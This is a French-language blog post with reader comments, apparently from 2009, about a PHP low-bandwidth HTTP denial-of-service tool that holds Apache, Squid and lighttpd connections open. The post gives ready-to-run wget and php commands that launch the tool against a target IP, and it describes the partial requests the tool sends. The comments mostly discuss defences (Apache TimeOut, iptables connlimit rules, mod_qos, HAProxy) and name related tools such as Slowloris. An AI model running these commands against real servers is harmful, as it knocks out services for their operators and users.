Multiple Http Server Low Bandwidth Denial of Service


HTTP DOS
Un nouvel outil de Déni de Service (DOS) vient de voir le jour dans les réseaux underground. Ce dernier est écrit en php et a pour fonction principale d'épuiser le nombre de connexions disponibles. Il peut être exécuté depuis une machine distante afin de faire tomber un serveur pour lequel on ne possède aucun accès.

Voici un exemple d'utilisation :

cd /tmp
wget www.tux-planet.fr/public/hack/ddos/multiple-http-server-low-bandwidth-dos.phps
mv multiple-http-server-low-bandwidth-dos.phps exploit.php
php exploit.php 20000 192.168.1.106

Les arguments sont le nombre de connexions à utiliser et l'adresse IP du serveur. Le script php ouvre en fait une connexion normale de la façon suivante :

GET / HTTP/1.1rn
Host: hostrn
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Content-Length: 42\r\n

Pour ensuite attaquer le serveur avec des requêtes HTTP buggées comme celle-ci, sans attendre la fin du timeout :

X-a: b\r\n

Les serveurs web Squid, Lighttpd, Apache 1.x et 2.x sont concernés. La bonne nouvelle concerne pour une fois les serveurs Microsoft IIS 6.0 ou 7.0 qui ne sont pas affectés.

La seule solution trouvée pour contrer cette attaque est de modifier la configuration d'Apache (httpd.conf) et de diminuer la valeur de l'option TimeOut, qui est positionnée à 300 par défaut :

TimeOut 5

Mais ce changement de valeur peut avoir des effets de bord sur le serveur, notamment pour les connexions lentes. Le mieux est donc d'attendre avec patience les mises à jour de sécurité.


26 Commentaires pour "Multiple Http Server Low Bandwidth Denial of Service"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Ouille, comme problème sa. Mais sa remonte à loin ce genre de problème, je me souvient il y a un an ou deux, j'avais eu "une attaque" de ce genre. j'avais résolu le problème en interdisant à l'adresse IP source l'accès à ma machine...

    En tout cas efficace, sa fait complètement tomber mon serveur en Local :S

    RépondreRépondre
    valentin , le 22 juin 2009 à 21:50
  •  

    Pas bon çà... et dire que pour une fois c'est Crosoft qu'est pas touché :-(

    Merci pour l'info...

    RépondreRépondre
    Boloms , le 22 juin 2009 à 22:20
  •  

    @valentin : bloqué l'IP au niveau d'un firewall est une bonne méthode aussi. Par contre, elle n'est pas efficace quand c'est une multitude de machines différentes qui attaquent.

    @Boloms : tu vas voire que Microsoft va la ramener avec un tableau comparatif ou IIS est soit disant plus sécurisé que Apache. Juste par ce qu'ils ont évités une faille dans toute leur existence ...

    RépondreRépondre
    pti-seb , le 22 juin 2009 à 22:27
  •  

    Oui c'est sur, mais sa ma sauvé pour le coup. Mais je vois pas trop comment ils vont pouvoir corriger un bug comme celui-ci. enfin c'est déjà c'est pas un exploit qui permet de prendre la main sur le serveur "c'est déjà ça".

    RépondreRépondre
    valentin , le 22 juin 2009 à 22:37
  •  

    Korben va encore prendre cher LOL

    RépondreRépondre
    Rydgel , le 22 juin 2009 à 22:37
  •  

    @pti-seb : tu vas voire que Microsoft va la ramener avec un tableau comparatif ou IIS est soit disant plus sécurisé que Apache. Juste par ce qu'ils ont évités une faille dans toute leur existence …

    Heu ce n'est pas vrai microsoft ne fait jamais cela :-)

    RépondreRépondre
    tetageek , le 22 juin 2009 à 22:39
  •  

    Mercredi début des soldes, ca me fait craindre le pire avec tous le sites de e-commerce qu'on gère, la fin de semaine va être funky au boulot si cet exploit est utilisé en masse :s

    RépondreRépondre
    manu , le 22 juin 2009 à 22:40
  •  

    aie aie aie !! :/
    merci pour l'info ! ça va faire mal pendant un petit moment en attendant une mise à jour de sécurité !

    @pti-seb lol pour le tableau compartif de Microsoft, oui faut s'attendre à tout après celui de IE8 !

    RépondreRépondre
    inalgnu , le 22 juin 2009 à 22:40
  •  

    Au passage l'exploit fonctionne aussi avec le serveur en une ligne en Python.

    RépondreRépondre
    valentin , le 22 juin 2009 à 22:47
  •  

    Ou sinon il y a ça :
    http://ha.ckers.org/slowloris/

    :)

    RépondreRépondre
    Joffrey , le 22 juin 2009 à 22:49
  •  

    @valentin : j'ai lu quelques discution en anglais sur le sujet. Certain on déjà donné des exemple d'algorythme pour contrer la faille. Les correctifs vont arriver, c'est certain.

    @Rydgel : korben et stagueve sont prévenu (par Twitter). A eux d'être vigilant maintenant.

    @tetageek : @inalgnu : vous allez voire, les gars de Microsoft vont en profiter ...

    @manu : pareil pour moi.

    @valentin : merci pour l'info.

    RépondreRépondre
    pti-seb , le 22 juin 2009 à 22:52
  •  

    Attention la DDOS fonctionne aussi sur lighttpd (version 1.4.13-4) je ne vois pas de patch sur les nouvelles version !

    RépondreRépondre
    blocusius , le 22 juin 2009 à 23:05
  •  

    Le problème viens du modèle utilisé par apache qui est basé sur des forks.

    Pour limiter la casse apache fixe un MaxClient qui limite le nombre maximum de processus crées. Il est extrêmement simple et peu couteux pour un attaquant d'ouvrir et de garder ouvert des milliers de connexion pour atteindre le MaxClient de apache.

    A ce moment la apache attend que une connexion soit fermée pour en ouvrir une autre, apache à par défaut un timeout assez elevé (dans les 60 secondes d'après mes souvenirs). Un script python de quelques ligne basé sur twisted peut faire un vrais carnage (testé il y a quelques années).

    Pour ce prémunir il est possible de limiter le nombre de connexion maximum par client sur le port 80 (en général un 10 aine est très suffisant). Sinon il est possible d'utiliser une load balancer comme HaProxy (http://haproxy.1wt.eu/) qui est basé sur un modèle de gestion événementiel des connexions qui monte bien mieux en charge et peut encaisser bien plus de connexion (regardez donc les benchmarks).

    RépondreRépondre
    PoPs , le 23 juin 2009 à 00:20
  •  

    En limitant avec iPtables le nombre max de connexions sa fonctionne comme l'a signalé PoPs, Moi personnellement j'ai fait comme ça :

    iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --set
    iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --hitcount 10 -j DROP

    Bon par contre le souci là c'est que le spammeur est blocké "a vie" enfin jusqu'à ce que je reboot le serveur/que je reload mes regles iPtable.

    RépondreRépondre
    valentin , le 23 juin 2009 à 00:49
  •  

    Vivement la mise à jour.
    En attendant, ce sera IPTable ^^

    RépondreRépondre
    Chibani , le 23 juin 2009 à 07:22
  •  

    @valentin, un module peut être plus adapté est connlimit pour iptables:

    connlimit
    Allows you to restrict the number of parallel connections to a server per client IP address (or client address block).

    Pour limiter à 10 connexion sur son serveur web:
    iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 10 -j DROP

    RépondreRépondre
    PoPs , le 23 juin 2009 à 08:47
  •  

    @blocusius : merci pour l'info, j'ai rajouté lighthhtp dans l'article.

    @valentin @PoPs : vos solutions à base d'iptables sont intéressantes.

    RépondreRépondre
    pti-seb , le 23 juin 2009 à 09:10
  •  

    Lighttpd n'est pas vulnérable à cause de son architecture, tout comme d'autre serveurs web qui on une gestions des connexions événementiell.

    Extrait du site de slowris (qui utilise exactement le même principe):

    This affects a number of webservers that use threaded processes and ironically attempt to limit that to prevent memory exhaustion - fixing one problem created another. This includes but is not necessarily limited to the following:

    * Apache 1.x
    * Apache 2.x
    * dhttpd
    * GoAhead WebServer
    * Squid

    There are a number of webservers that this doesn't affect as well, in my testing:

    * IIS6.0
    * IIS7.0
    * lighttpd
    * nginx
    * Cherokee (verified by user community)

    Ce qui peut arriver avec lighttpd c'est que tu utilise select pour gerer tes connexion, par défaut la limite ce situe souvent a 1024 descripteurs de fichiers ouvert au maximum.

    RépondreRépondre
    PoPs , le 23 juin 2009 à 09:37
  •  

    Tout vient du fait du nombre de connexions simultanées comme le disais PoPs, pour se prémunir en attendant les patchs de mises à jour, il faut restreindre ce nombre. Une solution "d'avenir" serait le load balancing mais sur le nombre de connexions, on applique la règle "diviser pour mieux régner".

    RépondreRépondre
    HIK3 , le 23 juin 2009 à 10:18
  •  

    Sa viens aussi et surtout du squattage des connexions ouvertes, apache peu traiter quelques millier de requettes par secondes sans trop souffrir

    RépondreRépondre
    PoPs , le 23 juin 2009 à 12:59
  •  

    Les différentes solutions proposés sont intéressantes, mais elles ont malheureusement un inconvénient, imaginez une université qui se connecte via un proxy, cela veut donc dire que potentiellement une 40aine de personnes peuvent vouloir avoir accès au site Internet, et donc vont se trouver bloquées :(

    La solution que j'utilise, et l'ajout du module QOS pour Apache (http://mod-qos.sourceforge.net/), qui permet de limiter les clients lent (bas de page 'Too Many Client Connections' avec la fonction 'QS_SrvMinDataRate').
    Il est également possible de désactiver automatiquement le Keep-Alive avec la fonction 'QS_SrvMaxConnClose'.

    Affaire à suivre, mais d'après les différentes lectures, cela impliquerait un recodage global d'Apache.

    RépondreRépondre
    SuniX , le 29 juin 2009 à 10:10
  •  

    Merci beaucoup, grâce à cet article j'ai trouvé la source de mon problème. Encore mieux, un whois sur l'ip incriminée m'indique que cela vient du serveur de mon principal concurrent. Y'a t'il une possibilité de poursuite pour ce type d'attaque ?

    Encore merci à vous!

    RépondreRépondre
    Thanks , le 9 août 2009 à 14:03
  •  

    merci pour l'info, de tout facon il existe bcp d'outils (ddos) de ce type, et peu de serveurs resistent a ce genre d'attaques

    slowloris, nkiller, letdown, neuter.... et surement bcp d'autres.

    RépondreRépondre
    yop , le 2 octobre 2009 à 11:30
  •  

    Ha bonne nouvelle concerne pour une fois les serveurs Microsoft IIS

    IIS est pas vulnerable à l'attaque slowloris non plus. D'ailleurs je pense que c'est celui qui resiste le mieux aux attaques de ce type.

    RépondreRépondre
    fsdffs , le 5 octobre 2009 à 13:12
  •  

    Le timeout ne protege pas forcement .
    Car il suffit que le script qui etable des 500connexion ( rare sont les serveur apache pouvant servir plus de 400 connexion ) .
    Lisent les resultats octect par octet .
    J'ai eu le soucis sur un serveur web max client a 150 car 2 giga de memoire .
    Et pas de chance on a une banniere publicitaire reprisent par un grand site chinois .

    Resultat on avait 60 connexion minutes mais les personnes mettent 15 minute a recuperer la banniere de 100Ko .

    Donc le serveur etait par terre et on pouvait rien faire .

    RépondreRépondre
    Onishin , le 14 décembre 2009 à 22:12
  •  

    Intéressante discutions !

    Je connaissais déjà le script décrit dans cette article qui n'est pas tout jeune, 2009 (http://seclists.org/fulldisclosure/2009/Jun/207)
    Effectivement, c'est assez bourrin... mais il existe un pacth contre ce genre d'attaque c'est d'ailleurs le même patch que le slowloris :)

    et pour info, il existe un version graphique du slowloris pour les non puriste....(http://sourceforge.net/projects/pyloris/)

    RépondreRépondre
    x3uz , le 19 octobre 2010 à 15:58
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum